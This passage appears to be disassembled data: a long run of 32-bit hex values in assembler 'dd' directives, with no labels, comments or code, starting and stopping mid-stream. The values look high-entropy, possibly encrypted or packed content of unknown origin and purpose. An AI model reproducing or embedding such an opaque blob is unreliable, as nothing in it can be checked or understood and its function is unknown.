0F9CC08D9h dd 593FC9ADh, 0F2C90AAFh, 1BA0778Fh, 5A9D76D2h, 73595FEEh dd 90F69BBAh, 0BFAC5B59h, 3ABCEC8Eh, 0C6E686EAh, 0EC49FA01h dd 49FE5586h, 0BB1592C0h dd 63DD498Ch, 660B096Ah, 0AB29E652h, 0B0F68F88h, 0E138EA0Bh dd 484E0281h, 44BF099Bh, 0BFEF7930h, 3CEEA14Bh, 0E03F9EC5h dd 3B3B2C7Fh, 2A9202B3h, 8526A09Bh, 0FCEFB483h, 4A4E84D7h dd 1E032E22h, 641743E7h, 3F9D8F49h, 0A63F9817h, 0F7C1B455h dd 293AA3EDh, 4826EC7Ah, 42CC3FE9h, 0A7E11C6Ch, 0BE85F328h dd 0F1B539CAh, 0C7B6A17Bh, 1AC1FF6Dh, 273DA9A0h, 0DBC5E13Dh dd 7AC53912h, 5A43293Ch, 7735ABA3h, 6C83F39Ch, 0F0D84D28h dd 0D5C6E8B5h, 0BF52E3CEh, 537213BBh, 9E53EF27h, 50C54D5Ah dd 8C22AB1Ah, 0A414C1B8h, 1839DDBDh, 0EB01CC58h, 7075B3FEh dd 0A6862C16h, 7B3AA9BAh, 0A8FADA3Dh, 0DDC1EC7Eh, 17471AC4h dd 0B2F210EBh, 0F234E598h, 290EB4A6h, 0F5BFED10h, 1B412024h dd 0BFD89C15h, 86AF9AFh, 2DFA625Eh, 184FB385h, 4C84782Ah dd 0EB2D49A6h, 0C436CD3Eh, 62BA30FDh, 0A0C07067h, 9F4FF725h dd 36963609h, 0A22C2B52h, 0FE375486h, 953FA262h, 99A9DAA2h dd 0E956984Fh, 91908AC0h, 7081E2A5h, 72151362h, 0C29E769Ch dd 0D63AA94Ah, 771F25E8h, 9117A8F3h, 63B75D65h, 6CC08AA1h dd 0AABAE9D9h, 4C8454D9h, 9CD1ED62h, 6364292Ah, 8EB7C01Bh dd 75B4B12Fh, 605DA136h, 64AFC0Fh, 6F44314Dh, 0E4E4C44Dh dd 0A0AC2A20h, 6706D952h, 9C5AF3BCh, 9E1BB0CFh, 0B4ECE4CCh dd 0DE3D356Fh, 1C43CB16h, 0DE6FB6E9h, 0B721F1A4h, 0A6991E9Eh dd 15F8262Ch, 4E061A4Ah, 0D2A34BB8h, 187DD794h, 0AFEF382Ah dd 99D8C464h, 304CA13Dh, 0D115C41Fh, 6FDEE4F4h, 15CB90E8h dd 0B602385Ch, 0EA2D2975h, 0BF9C709Dh, 3BAA6375h, 7D1FE10Ah dd 4137BABAh, 57B208B5h, 0B8C57C81h, 223EF8Fh, 8213A6A9h dd 0C6A22A4Dh, 2FEB8701h, 0ED4AF0Fh, 0FB8D84Fh, 3EB1A114h dd 0DBE456D3h, 52CA9932h, 7D0815C5h, 0EF8D2BB3h, 0B24770C9h dd 0F482FF94h, 6B08229Fh, 41023ACFh, 0D4832049h, 0C829A618h dd 3F374242h, 1BE04789h, 0B2CCB5ABh, 1FB7A994h, 3999C577h dd 0BF55EBE3h, 0B62AE314h, 8243E339h, 0D309AEBEh, 7131ED05h dd 5A8740A6h, 13204EBDh, 73052BFFh, 10093DF9h, 6AAA3B5Ch dd 0B01D82B6h, 1D2C3744h, 9DDB39BEh, 0B2DA8F46h, 7DBF8620h dd 30994926h, 9C43A896h, 70C0AA90h, 0AB3AAED4h, 0CF4F8978h dd 6EDD3409h, 25A007ADh, 6FC69F94h, 0D64C56F1h, 21FB055h dd 9BF006B5h, 0EAEEDBB4h, 0B0E8B25Dh, 64E5853Dh, 3264A9Ah dd 3A8E109Bh, 1D5D1F7Bh, 0CE649E2Dh, 8EF827E9h, 45C3E4D7h dd 95B158A9h, 0CFC3D34Fh, 891098AFh, 8343ABB2h, 2AB63F14h dd 0D80A455h, 0FB3BBC49h, 7B8E0BA6h, 42534BBAh, 0A6780A21h dd 714C436Ch, 79EECEADh, 181707EFh, 93C2013Ah, 867FAC4Dh dd 2512E206h, 0CDC62B9Dh, 0EC1030F8h, 4F58E5B3h, 23EFF796h dd 2E96CCh, 1A33A9F1h, 83597CA2h, 8C494EE4h, 8D63E686h dd 70E9792Ah, 7194B9CEh, 0E8F0EA12h, 434446D8h, 50FBAD54h dd 319973F9h, 88244D60h, 1B350695h, 0CE0374BDh, 8659E272h dd 8FCE2BFFh, 0CE4F2265h, 233DA1C1h, 0DA101149h, 22B5FA7Bh dd 33D3598Fh, 6F2D3497h, 5C1F05CEh, 733D6869h, 65300991h dd 4158546Eh, 0B9F39A53h, 0E2199539h, 36C1E891h, 0CAF4F6BDh dd 1D8380C7h, 7D2516B9h, 62C894E5h, 43528294h, 83C89C12h dd 0FC550670h, 9157EAB9h, 0FB64ED29h, 0A8AD5CECh, 59802BAEh dd 0AA07AE09h, 0EAE3A768h, 0BA60A22Ch, 1B73E609h, 7E8F0C11h dd 73A60E41h, 16C12596h, 0ADBA337Ah, 3B0AFE4Bh, 4ECA604h dd 7804A2B1h, 27892E10h, 553C4A25h, 7BA5A4FFh, 0B4FE83B7h dd 0C6C3ECD7h, 1FE758B1h, 66D5E0A9h, 701F0006h, 0B60FA85Dh dd 0B3BDA835h, 0B4DB293Eh, 205BD8D0h, 0C1F69D78h, 0C92FAA21h dd 94F07EF8h, 57FFC845h, 0D50EF304h, 0EC102B9Bh, 0B62639ECh dd 50B3E3h, 2CA5782Eh, 0EAAD56B7h, 9DA49C8Bh, 7CD22807h dd 0D12E345h, 16EF6D2Dh, 820BA1F1h, 0CA808086h, 6F3EE425h dd 833FA535h, 0DE537500h, 0D99D1D9Bh, 505AA73Dh, 4155DB27h dd 0FCA7A58Dh, 11D36316h, 307DDB5Eh, 85292F4Dh, 9E073BB4h dd 4C2E9D38h, 7C1E324Fh, 83F9F0D9h, 699EE98Ch, 8B271CEAh dd 9C93CEA0h, 1A835F0Fh, 85F1DC0Eh, 0A3CE493Fh, 0E156E7BBh dd 85322624h, 0F5DFA6BAh, 0BA514A21h, 31C7996Dh, 0AB40840Ch dd 1B026CAFh, 0DA3E1894h, 6A894371h, 94F68443h, 7841EB7Dh dd 0DD196F42h, 0ED6614ABh, 0E52FF7A6h, 0B7BA3313h, 0BF0CAB93h dd 8EDBB7ACh, 0AA232C42h, 0E4052842h, 42C511BEh, 7B45E081h dd 0A5770F80h, 0B82A8945h, 7D38B155h, 33BB9AE1h, 2EA74A95h dd 568DC860h, 8EEF35C0h, 8C43799Ch, 3E3D41EBh, 0BD3EE136h dd 0E2856B59h, 4FC56904h, 0E5C5412Bh, 0EA510B9Dh, 0A7A60495h dd 5753C800h, 0EC403033h, 0D45D77Ah, 0B44AE39Eh, 9E301E9Ah dd 0D96714BDh, 611A1226h, 0B4EC00A0h, 0EF322F1Ch, 8334AFC4h dd 9F12E967h, 0D33DEA21h, 9663B37Dh, 0A2778857h, 0ADCE6E20h dd 0C47934E3h, 2CA0DFF1h, 0D40AF0B1h, 5A9AC934h, 0E8C39C64h dd 1932E0DBh, 307E4DAFh, 913801A3h, 0A22FF62Fh, 41E9FEB0h dd 254378BBh, 75A61B9h, 0A80EFF6Ah, 567F7605h, 35F9AD86h dd 492D0396h, 2D4FE79Ah, 7D53A49Eh, 8E146056h, 46551857h dd 703055A1h, 0B50E40FAh, 0BA42144Fh, 0E1F697D9h, 0DED785BBh dd 4AFBFD2h, 68DF09C9h, 0C1AFF2BCh, 0A282293Ch, 744BAF20h dd 0CF5EC3Bh, 0A7783E92h, 22CEC6A4h, 11882A60h, 3005527Bh dd 42A2A97Dh, 0D6CAFB10h, 90F2D0EDh, 95923ACh, 0A0A6CB11h dd 0CC58B837h, 0EEEA3540h, 1B34DC21h, 0CDA5589Dh, 858BDD88h dd 0ADD48566h, 0A0AD9C5Dh, 47F0F18Dh, 33E69D04h, 0DD543F81h dd 0E43D3B9Dh, 0ACDA15D4h, 13F18E16h, 0E4D3D3CEh, 85F2E843h dd 1CA7612Eh, 0A1BBCC8h, 0B3DD8975h, 0C63A2A1Dh, 373A5D1Eh dd 833D873Eh, 0BA2D2C26h, 3E71CDDDh, 260AAD7Bh, 0A52D0266h dd 0BC1999C4h, 0FB98310h, 0C3F9ED67h, 0BF09FFC1h, 0E041578h dd 867C81E3h, 7026AD48h, 6E7AEC99h, 2FA27714h, 3DED0992h dd 68F88D61h, 315C4041h, 0BF572C30h, 8F154984h, 795BD7C9h dd 2EE1D3C6h, 0B2E61844h, 0A115086Ah, 66163B37h, 36A60121h dd 92AEF55h, 0E945965h, 0F6386602h, 226D0C24h, 92CAB9CEh dd 72ADB529h, 0D566F660h, 11EA8524h, 0A539132Ah, 0DD59A611h dd 0C9C5C4BDh, 2E1A20BFh, 7AEC415Ch, 70CF1B51h, 0AE1F63DEh dd 0D56CFF75h, 64DFB4F5h, 0FFE083F9h, 2FD0FFF9h, 3155C17Bh dd 0BCDEA8B4h, 30069565h, 82047A90h, 128CC671h, 73A3250Ah dd 0C993F76Dh, 7BCC0505h, 0A2BA536Ch, 270CB20Dh, 7F1F48A9h dd 0A645DD82h, 6AE13629h, 2C9489AAh, 96E85392h, 0D5974CDCh dd 0A70E0306h, 0AC16D488h, 7B1B5B08h, 0F33B9D71h, 2272A7B0h dd 89F01780h, 0EFC9CBD0h, 313897C4h, 82158C4Dh, 3E26183Dh dd 3909B920h, 8CA05F3Ch, 7AE4CCBEh, 11421953h, 95637D40h dd 26D9795Ch, 3BF0F432h, 18AAFD3Bh, 7E0A0B57h, 4D15DAA2h dd 0A29714FCh, 781F52A7h, 4ECE0AFh, 5EAAC4BCh, 37E2DC58h dd 523FD370h, 7043DB07h, 867C8032h, 58B92521h, 0F617F1D3h dd 96F3E646h, 68E33669h, 9BA675FBh, 5B4BA6BFh, 0F3B3C12h dd 0A93F2345h, 0FB7163C0h, 0DA72CD64h, 0BA638739h, 0AA8D43C7h dd 0E44B73DEh, 40929F0h, 0EED1FF40h, 4C9CFF5Eh, 127A2995h dd 0FE34353h, 6E471757h dd 0B015496Eh, 0F22258B7h, 99FF1BBFh, 0EF1728ACh, 5B682E89h dd 734C4F3Ch, 0AB28DDD5h, 761537A6h, 0BD343B65h, 6AB14D08h dd 9BD30E2h, 0DE86B24Dh, 0D95402A1h, 5113D5FCh, 41885257h dd 0AD8FFA84h, 68DA640Fh, 540EFC98h, 0D8039758h, 0BE725FB9h dd 0D3D36C8h, 0F9472BB1h, 92159C1Ch, 1270585Eh, 6E7DB3Ch dd 203AD788h, 6AD95E57h, 71FB2707h, 0E0EBDC04h, 0C01F65D2h dd 71EB6070h, 4CD88745h, 9E30FEB5h, 0CDE15F83h, 0F6B83712h dd 0DA8936BDh, 9E43A845h, 6AAC33D7h, 0A93B702Bh, 80406AEEh dd 406F67F4h, 0BB99664Bh, 42877FEBh, 8F25A8D7h, 0AE81E64Ah dd 3A3D3043h, 0BCF7F89h, 867C05BAh, 9B7FC5BEh, 9C76A6A2h dd 78E67642h, 0E70833B8h, 87B6014Ah, 7AF775B5h, 90E7C617h dd 75350BFEh, 2CCA710Bh, 15BBFFC3h, 24A34209h, 2C55B91Dh dd 9BFE3145h, 2D48B554h, 25A33138h, 2288F2FAh, 0E58468B5h dd 0C6135848h, 0E80828C2h, 0A7CE361Dh, 153759F2h, 2C7728BDh dd 74962D3Fh, 7913FB91h, 69953511h, 0A53CDC74h, 1FC0B730h dd 6A32C7E3h, 2CB9E022h, 4B11317Ah, 99250123h, 0B9FB52ABh dd 0AA24CE03h, 1C4B3FF8h, 1E7B0A4Eh, 992326FCh, 0A1BF73ADh dd 0B6CF96B1h, 9E44717Fh, 27063028h, 52DC5EA1h, 142937CFh dd 16216CE5h, 7886E893h, 786F1B90h, 0BAE8A593h, 5FF52475h dd 0A0194B78h, 50149255h, 3EEFF846h, 33A2F935h, 6B15496Eh dd 0B4F6E2B7h, 5326D977h, 5AC9952Eh, 54156EA4h, 9F55AD97h dd 827E2A9Ah, 0E84C585Ch, 2FB0739Ah, 0D57A3AADh, 59325E0Ch dd 0E9832006h, 33ABC7E2h, 270969D1h, 783101D8h, 0AE59ABF3h dd 0BEBD803Dh, 8C3B0BB4h, 0D774AA0Bh, 783FADB3h, 179AE244h dd 87933D37h, 7134AC2Eh, 66F737BDh, 3D5B2575h, 46C04FECh dd 0BC76AC86h, 5B4A6035h, 2E83F76Ah, 0E3442BC6h, 0F4C33DC8h dd 671957Bh, 75C13D77h, 6EAE0CBDh, 4A87198Dh, 9B110D3Ch dd 0FF8A0BFh, 2CCFC790h, 0C6758CBAh, 0C5E5FAA3h, 6A1894F2h dd 5B03345Fh, 0BF185842h, 547ECCD0h, 0A5AF08FCh, 9EE7FA0Ah dd 0C3BEB86Dh, 5B9B42E6h, 327AE6F6h, 7A6A88B9h, 1B6EAD9Ah dd 0F4194F57h, 9B857FADh, 0E8216972h, 51217A0Fh, 0C7072A9Dh dd 0B21F7E45h, 25D063FAh, 0BCD6A577h, 0F6CE1197h, 9CD85DCDh dd 91CFFA2Fh, 0DBEA2EB6h, 0F908009Fh, 0DCEC3629h, 0B7A2D2A6h dd 0A732F8A1h, 4BDD4A8Ah, 0C1650AE8h, 975B4B7Ah, 0C362FB2Ch dd 792A9355h, 8421130Ch, 8338EEB6h, 8412A88Ch, 0D9D57D6Eh dd 8E392F53h, 0FB1520BFh, 1B329D21h, 0AC639682h, 0C9184A8Ch dd 0B3440841h, 9C480D7Fh, 0FF8E6107h, 9CCFC6A9h, 90115D89h dd 97C0C270h, 8DF9CE93h, 0BE1BD4D6h, 734027E0h, 831BBB0Dh dd 979633E4h, 478D425Fh, 0A2EEDE81h, 77BB0643h, 9B3B6C14h dd 0BA0AA762h, 6918159Fh, 0B0520F7Ah, 0C32305B9h, 5759F9A5h dd 59C5796Ah, 31EEB15Ah, 4C7A5F99h, 7031922Fh, 65973D5Ch dd 0A8477D03h, 0A2DDC03Fh, 739BBD41h, 83AAE045h, 55FDB729h dd 0B11A6B46h, 4713FF30h, 23BDD0B9h, 2532D5B5h, 0DAB3D2Eh dd 3C0C2241h, 0EFF049B6h, 1A1FC146h, 3AC55E00h, 0AD502243h dd 8744E89Dh, 0DBF273CFh, 190AC3C7h, 0FAAEE0B5h, 476B5EF8h dd 64E4684Ah, 8B383755h, 9F3E9A0Fh, 87BFE1A6h, 92DA8DA6h dd 827AF1C6h, 0DC38D645h, 9FCE0141h, 0B2134856h, 0D6AAC919h dd 33D20E70h, 1D46A360h, 0B495158Ch, 0BF9ED542h, 703026FAh dd 0A7956683h, 0D7B57C30h, 0FEBB4A12h, 0E68B2AA1h, 0E3F00D69h dd 0B8B25358h, 8571BC62h, 52962E2Eh, 0DB64EB90h, 0A143A771h dd 1F152FFFh, 2F7D5E8Ah, 45C15A46h, 0EF887552h, 0FF816730h dd 0BA038BE7h, 0AABAFB55h, 0B54F59EEh, 0A5BDDBDh, 6B7AB5AEh dd 5430DE29h, 0A79C1C6Ch, 5F55A7ADh, 0FC415B86h, 22445C9Ah dd 0A913E7E2h, 9E00264Dh, 8ED1333Ch, 9E5BC9B2h, 6A49A077h dd 0D135293Fh, 70309B1Eh, 0C6EC2C85h, 1BF5D1C8h, 5101270Ch dd 5682C9C4h, 7A36F6D0h, 52B9E1B4h, 8B8CA9h, 0A683AD9Ah dd 49DF7AC2h, 213F3929h, 982F60A0h, 79397685h, 488E66D6h dd 0A65ECE28h, 0A8569FFEh, 0D23B6D00h, 8FE73ABCh, 72DE42EBh dd 5C3CCF2Bh, 0A24567BFh, 66F5B139h, 0DBBB7640h, 0E9215023h dd 48CD0DFAh, 0EAAD339Fh, 95847854h, 2ED80C25h, 9A743F10h dd 0ADD132A0h, 42F53999h, 390641ECh, 0E385BBC1h, 223449Ch dd 2830B739h, 629BBEF2h, 27F44977h, 8661351Fh, 9BF4697Ah dd 2641A8DEh, 0CA2F973Bh, 839D1BDh, 0BA6CE2FDh, 88608721h dd 0E59E6207h, 6E9674B3h, 0E3401B2Fh, 858378A5h, 286A2A46h dd 23332AB1h, 0E1C23F65h, 0CDF91A9Ch, 61654BB2h, 35742BB2h dd 0F33AE940h, 8240ADECh, 4F2D5A96h, 0ACA786D8h, 229F25BFh dd 4334C2B1h, 7D4748F5h, 8AA3EB88h, 459E4BDCh, 402A0B1h dd 0A43C5586h, 0B045FCBCh, 4DA10E4Fh, 0BA784907h, 7517451Dh dd 0B2A1BDF5h, 504563B8h, 0F54F15B7h, 2BEA71FDh, 0FB7FE818h dd 0B4CDD53h, 0B26AC6Dh, 9F2AC4BDh, 955D2B1Bh, 0F76068E7h dd 6BAE303Eh, 634007D5h, 9020D63Ah, 0B0649168h, 0E539DC36h dd 6B5370BEh, 698034A0h, 4E577074h, 0F63E1698h, 0A863AD1Dh dd 47FB2C27h, 28A8C4ADh, 5E36D148h, 82BAC6B8h, 8230EAD2h dd 1F4F6A3Bh, 2F75F61h, 6A882B41h, 1E2A3638h, 3B1F20B3h dd 0A712ABBDh, 0DAD83471h, 53DF3469h, 9B2FEF58h, 48A1FBC7h dd 0AFBBBB34h, 9446F360h, 90D951A4h, 717F2269h, 34FEEFB1h dd 3B283911h, 0DF0836DDh, 45113393h, 0AA95F1E4h, 3D2BE1DFh dd 7B5830F5h, 0AAA014C3h, 18BB3527h, 4FB9AA63h, 6A3FF70Bh dd 0D905CB70h, 6E1B31D2h, 2F038C8h, 14EDA3A1h, 0E835183h dd 3AD919B4h, 3BF24C0Dh, 7A10A147h, 2B3AB366h, 5FF106BAh dd 72E8E64Ch, 8CDD1B0Eh, 5A4C6BBCh, 82C0E7C5h, 3BBB33A9h dd 83E1E30Dh, 6727F556h, 40006915h, 0CC96803Bh, 0DAF530E3h dd 30CC4378h, 35EFCAE9h, 0B5ACE0E4h, 0F2DC37F9h, 0C1F5Bh dd 2C04D0D4h, 0EE86CA40h, 0ADA16CE0h, 0F1308949h, 0F5A00A1h dd 0C6CBBFB1h, 0D92925E1h, 59F993Dh, 0DF7E0DA6h, 0E3CC5F9Dh dd 996F1486h, 2EE5EF39h, 730763AAh, 508511D2h, 0EA7681Ch dd 86BA3375h, 0BC92BE96h, 0A924915Ah, 0A1C6626Bh, 9DC419A5h dd 89D54A7Fh, 68CF8E03h, 2577C539h, 25EBEDC3h, 74400EDEh dd 6B196956h, 23202992h, 42D73DC3h, 0DF461A4Dh, 0B39E78AEh dd 440643D0h, 0EEFBB0E1h, 0C68A0141h, 7D5D0B62h, 241D8F87h dd 248F3382h, 0BB7C1C19h, 0A3F4D1BAh, 0FF65F2E2h, 710DA35Eh dd 0AFF90134h, 0F3418DC0h, 0AEFC990Ah, 793FF56Ah, 0AA36DC3Fh dd 0C808D160h, 2BE8B55Fh, 7F660C58h, 0BE2E91EAh, 260F8CB8h dd 3218CF74h, 5C273F94h, 3C33CDC1h, 7D308113h, 362E038Ch dd 3831FE75h, 34033ADFh, 85F1F6A0h, 712EC0B1h, 66F43CCAh dd 0A8AA2C97h, 9FE522A4h, 0A563F273h, 51FE6C34h, 0A2FB0C75h dd 66D0F701h, 0E21ADDB5h, 71AEEEB0h, 0B5FB09B2h, 0C6B1EF35h dd 71F0332Ch, 4758B596h, 0B9004A5Ah, 0F822FFB1h, 864B005Dh dd 9D6C442Dh, 6D3AFD4Ch, 4D34046Ah, 7901B1A9h, 9FEAD2B3h dd 0BBFEE3D6h, 0C6EAB32Ah, 3B34FD6Eh, 7A39DD16h, 0EA080577h dd 9F24DD28h, 0D9B936FBh, 0D9E44AA7h, 0A28DB7BBh, 42C468B8h dd 2F28A495h, 0AE9C6A32h, 0BF4CA554h, 18435326h, 2F18E0BDh dd 0E707C45Bh, 9F7EF6A1h dd 33F2FC5h, 6D8D16AEh, 0A9CE1905h, 6B26852h, 3730C963h dd 0F4E25E4h, 0A2CD36C4h, 892868C9h, 5E3DED2Eh, 70F436A4h dd 0D9CA0DE6h, 1D28CA0Dh, 33519900h, 36F3B9A7h, 209D1AE7h dd 0A4580B57h, 0F396EDBAh, 6A92E7F2h, 8970F71Ch, 9901F365h dd 0DC4A600Eh, 0A1D85855h, 1F5A47A2h, 36F50C6Bh, 3308C63Eh dd 0B2B84EAEh, 0B6EE1A15h, 2534F126h, 0DC1807BEh, 0C2E965A2h dd 864A2B07h, 0A77A34BBh, 0B02A4B2Ch, 0C80ADDA0h, 253A4735h dd 7BC6F1EFh, 0CA326EBFh, 19771A25h, 1A5BA245h, 2329FDBEh dd 0A31DB26Bh, 66BE35E4h, 0AE752E24h, 67403826h, 0DC15A465h dd 0BF4C0A81h, 51BA345Ch, 435356BCh, 0A62A9910h, 0E0479559h dd 0BBA016B3h, 6CEF4AACh, 1B2CDD5Ah, 7CD32DBFh, 1750A62h dd 9F37D9B7h, 5F1CFABEh, 8537E37Ch, 173098B4h, 5C34A0E4h dd 0AD9AE0EEh, 43A8EA7Fh, 0F4A1F40Bh, 61C628CEh, 0D035AAF1h dd 66ABE227h, 0FC15AD41h, 0B6CE3E55h, 48CA5AC4h, 9E2B375Fh dd 0C620EDA1h, 58201E03h, 23EA58ACh, 45512010h, 0A34F587Ah dd 5CE249D1h, 8447411Dh, 0C645FE3h, 768ADB1Eh, 0D396C920h dd 2495F949h, 0E430BC2h, 2DA6C975h, 1DBA60B4h, 88A83BDh dd 0D7593B5Ah, 0A6A081B6h, 9929032Eh, 17946F5h, 0D6A350B1h dd 6D3FADB4h, 7E9830B2h, 0BC3EF896h, 0C5F4E2B0h, 852CE2C3h dd 0DC2949ADh, 719437BDh, 0FB442725h, 0B17BA80Eh, 0A6F7A62Eh dd 0BDA02440h, 6DCFF92Eh, 0BF5096F9h, 0B87F77CBh, 5BC2172Eh dd 61D4B20Eh, 7CBFF8F2h, 83E5F510h, 589E236Eh, 0ACE1B8AEh dd 37EC7849h, 70042D44h, 8184291Bh, 6B1E69E2h, 17F3234Ah dd 0FABFC121h, 851C3873h, 40D0D83Ah, 0B7285Eh, 0FDBFEF1h dd 85EC72FDh, 8F935571h, 9D2E9CE9h, 10E71631h, 56FE6D95h dd 5B4F0956h, 0DF3755E1h, 88E2039Dh, 6A434E8Dh, 442E657Eh dd 98213E29h, 292DE51h, 21361206h, 881EA20Ch, 81D09A4Eh dd 1474FCE9h, 0BABA990Bh, 48D9E0DCh, 4D1687A8h, 0C5263F19h dd 0AC2E0F53h, 211B5628h, 367AEDAFh, 0AF4E13F5h, 83F647D9h dd 0CD6D8AB2h, 4A3A7598h, 9CFEAD9Ah, 4490AC31h, 65EF088Fh dd 0A5490A30h, 0ADAD627h, 418AB447h, 14A1C495h, 0A8E8CCC4h dd 0AD21A9h, 168E2ADBh, 4A36CCEBh, 184D1A32h, 0E11BD4D5h dd 0FC080B75h, 0CB6A1D67h, 0C23ADD73h, 1858397Bh, 7630868Eh dd 4938C704h, 1F6D5883h, 231A558Eh, 94DE7E09h, 0FCC7E15Eh dd 9C320C5Bh, 3536B30Ch, 47247883h, 919619A6h, 90281C87h dd 7D7C98BDh, 5F2FF37Dh, 9F78B832h, 0A2072908h, 4B6C62BCh dd 47E56F30h, 0BA76349Ah, 77A5B356h, 0B3640CBAh, 82B761ADh dd 18BA9953h, 66689113h, 4DE6BF12h, 23E736BCh, 0CFD6FDBBh dd 5F26A516h, 225D1EA6h, 0D1F56A6Ah, 272C3E16h, 119362B2h dd 725D11A9h, 9D043DEEh, 0B1034709h, 0BE71DEA8h, 0C548654h dd 0B3BDA82Eh, 700FC217h, 75126569h, 4874FAD5h, 906C5CA2h dd 0DB0412A5h, 1838069Ch, 2AD2BC94h, 0A047E26h, 2D5864A1h dd 4E9440F4h, 6A14D280h, 79781F27h, 0A775AA93h, 0B45A1B99h dd 0B7BB74BAh, 0DA5D51BDh, 5158E64Ch, 8102FFF6h, 0D2CEFBD6h dd 5014B29Bh, 0A3881232h, 4BEAFF5Dh, 5302F745h, 6D2D323Ch dd 103D2CA1h, 90EDF040h, 2851A081h, 0E19F5128h, 0B5D10A6h dd 4FDF03A6h, 3F8B341Bh, 62CCEDE9h, 5C9CF8B5h, 0F892DCC0h dd 1B6864B6h, 0FB223069h, 0B6B4A529h, 0DB6FE5EBh, 0E08CDC7Ah dd 0C60BC6FDh, 0C860995h, 6683F922h, 5DBA36BBh, 57A717DDh dd 17C457E8h, 6F708384h, 98C386A4h, 1CD1A8A6h, 0EE5822A7h dd 69D545E7h, 2B32CDCCh, 57D45DCFh, 0E04BF0D4h, 0D560641Fh dd 0A4C24D07h, 777BD0D8h, 0AAFCC5AFh, 1E9EEA97h, 0AC0989D7h dd 0BD58FBE5h, 0C2CD495Ah, 0A010AAD9h, 0A3652D89h, 0BB7531F1h dd 874AE181h, 0F0E48CA6h, 0E22B5DFh, 0A55B29BAh, 9F9E8622h dd 43C535BAh, 55D4A7Eh, 24E722BAh, 92D82146h, 74BC37BAh dd 0BE94E02Eh, 0AE7C320h, 9536A1C4h, 0A436A554h, 0A1C4156Ch dd 0B85A35D4h, 0F3AC1B54h, 9F2492CDh, 971BEFABh, 0E19A535h dd 8EFD076Dh, 0FA8D3776h, 0C9407D21h, 527FA501h, 0E96AFBBBh dd 0C259F964h, 0CDBC5056h, 5AA73344h, 4C5283C6h, 189E2C29h dd 58F9E8D7h, 0BCA9A6D9h, 0A413AB52h, 0A1168B58h, 9AF08D55h dd 23B73662h, 5F2A86A3h, 7D30E127h, 1C805FDh, 0CB5B200h dd 0A0DB33A0h, 0E9B1699Ch, 0DD396276h, 0C0386EE5h, 66EA2801h dd 0B2AB0C0Fh, 0B468F80Dh, 0CFB12FC8h, 0DCB8097Eh, 972379E6h dd 0BEE13C6Ch, 0A585A766h, 0CB2062C3h, 7A3980C0h, 41EB2013h dd 1DF1379Ah, 0FAD8262Bh, 4D4C7CBCh, 0AAD039A1h, 97015BB3h dd 13124A25h, 0BBD287B9h, 0C9DFCBC6h, 538D485Bh, 0DC08CFBAh dd 90FE63FDh, 0D90CFB89h, 10693BBFh, 0EE9657B8h, 8D1AE8A4h dd 0B50E7014h, 0ABE105FDh, 82B99D1Ch, 428BEFBCh, 0A4327D42h dd 9B3314F9h, 0EB6F483Dh, 87A8C796h, 3B71C055h, 93C5C838h dd 9CE514CDh, 691EB40Eh, 0A4FBB5A7h, 5F7EB5C2h, 0BF7C69C8h dd 9B211E01h, 853AC8A4h, 0FA90BD00h, 1D3FABF8h, 0ACDD5F7Fh dd 5050AAB6h, 29D92FD6h, 8512329Ch, 0A8C909BBh, 0A3C4003Eh dd 69ED011Bh, 97FA999Ch, 5ECF6010h, 2BD5609Ah, 0CD18DDD2h dd 0A457BD0h, 0AF777AEAh, 0CE8CB8E5h, 0CE15A214h, 722B2E1Eh dd 0BEE4A89Ch, 0A423A1BDh, 1AE14F76h, 56A08BD8h, 0BFD5484Bh dd 2281467Ah, 0D6563A7Ah, 864F1221h, 8133E7C6h, 0CF2689C6h dd 0D0268674h, 49C361A9h, 5983F1A7h, 0D881F526h, 0B46CF083h dd 64FDA4ADh, 236C843Dh, 81F5716Dh, 2FF70A1Dh, 182BAF82h dd 234B1977h, 0B230CBE4h, 0C245180Dh, 17C53C2Fh, 163E36EAh dd 0C7C724A2h, 8E3BBA2Ch, 85238E7Dh, 0AC2332A8h, 3FBF37B8h dd 81290A70h, 7557F40h, 968D536Eh, 0C29EEC43h, 552CC37h dd 3AF93998h, 0C47A124Fh, 172FF6B3h, 0F34C20B8h, 0AEACEEA2h dd 0AAAE3885h, 0A269234Dh, 5726A35Ah, 4AC46335h, 65FDDEEh dd 59622A9h, 6F3CE543h, 1B6E6981h, 0F511C100h, 0AAE997Ah dd 0B1ACB3D9h, 14899012h, 57E45E45h, 0D69D48D5h, 0EAB51B91h dd 0BB5B1487h, 3F5AA5A3h, 6FA47F09h, 9E80B313h, 967B35FFh dd 0C8FCA9Ah, 90D58675h, 0A499EBCFh, 1E3EB2F9h, 5B893C7Ah dd 742C363Bh, 0A2F7AE4Dh, 0A2602A0Dh, 0A0D3A806h, 0FA40F853h dd 0E538E0CBh, 3C9F5533h, 45A371B4h, 1409D10Ch, 2C7228FDh dd 74EF31AAh, 9D227443h, 46F7ED0Ah, 3530903Ch, 80EDCE41h dd 0A70E0CEh, 0E34E42FCh, 413086E7h, 9AFBEC2Fh, 0E3BFCFEDh dd 0BD224A0Eh, 0FF3A69F9h, 81204F34h, 245B4961h, 0BF58339Bh dd 2357E999h, 89395A97h, 0A90BDE66h, 0A86516F5h, 47433462h dd 58362D9Ah, 32390FB9h, 0B8CE0EF3h, 0C4289220h, 0AFE5E247h dd 0AE21A237h, 9D3AC34Ch, 4A4126A4h, 679279Ch, 4DBEF91Fh dd 1AC9992Bh, 48F96EF2h, 80979946h, 9135E6EAh, 0DB050A80h dd 372C9AAh, 61583CEBh, 0AFD12ACEh, 2FDFD324h, 0BC34A583h dd 0E2DD17E3h, 1343B3Fh, 0B3CF0263h, 0BD82C948h, 0C8E8938h dd 0A036890Bh, 0CF3F700Ch, 95BDEB5h, 0D2DA72E0h, 53B80403h dd 0FBC216BFh, 2E8C3641h, 0BC8277B3h, 47DA399Ch, 6F3431E5h dd 9E3A5740h, 8B52CCDEh, 0A61EB4C6h, 6F43C777h, 687BCAABh dd 954CA48Dh, 4943A6D1h, 3FFA6598h, 0DAAD27E4h, 40355358h dd 47086FE6h, 82198386h dd 0E47C7CFEh, 17C3CCA4h, 0C0526ABh, 0FE310059h, 28C1387Fh dd 6F6057A2h, 2A42394Dh, 18ADD52h, 72EA453h, 0A5C6DEA2h dd 8C5A2926h, 0BC04AF9Ah, 0EE2E1622h, 791D1B4Fh, 94CE0C3Fh dd 59327507h, 5EEC5A16h, 0C83D0524h, 82383C92h, 15A25908h dd 0FEA0578h, 7582500Bh, 0BF645E4Eh, 5C3E4F24h, 0B7A13427h dd 50F4F517h, 70519192h, 0BCFE78A4h, 1826B8A3h, 0AF486075h dd 8252DC91h, 0FD9E3345h, 82E20C7Eh, 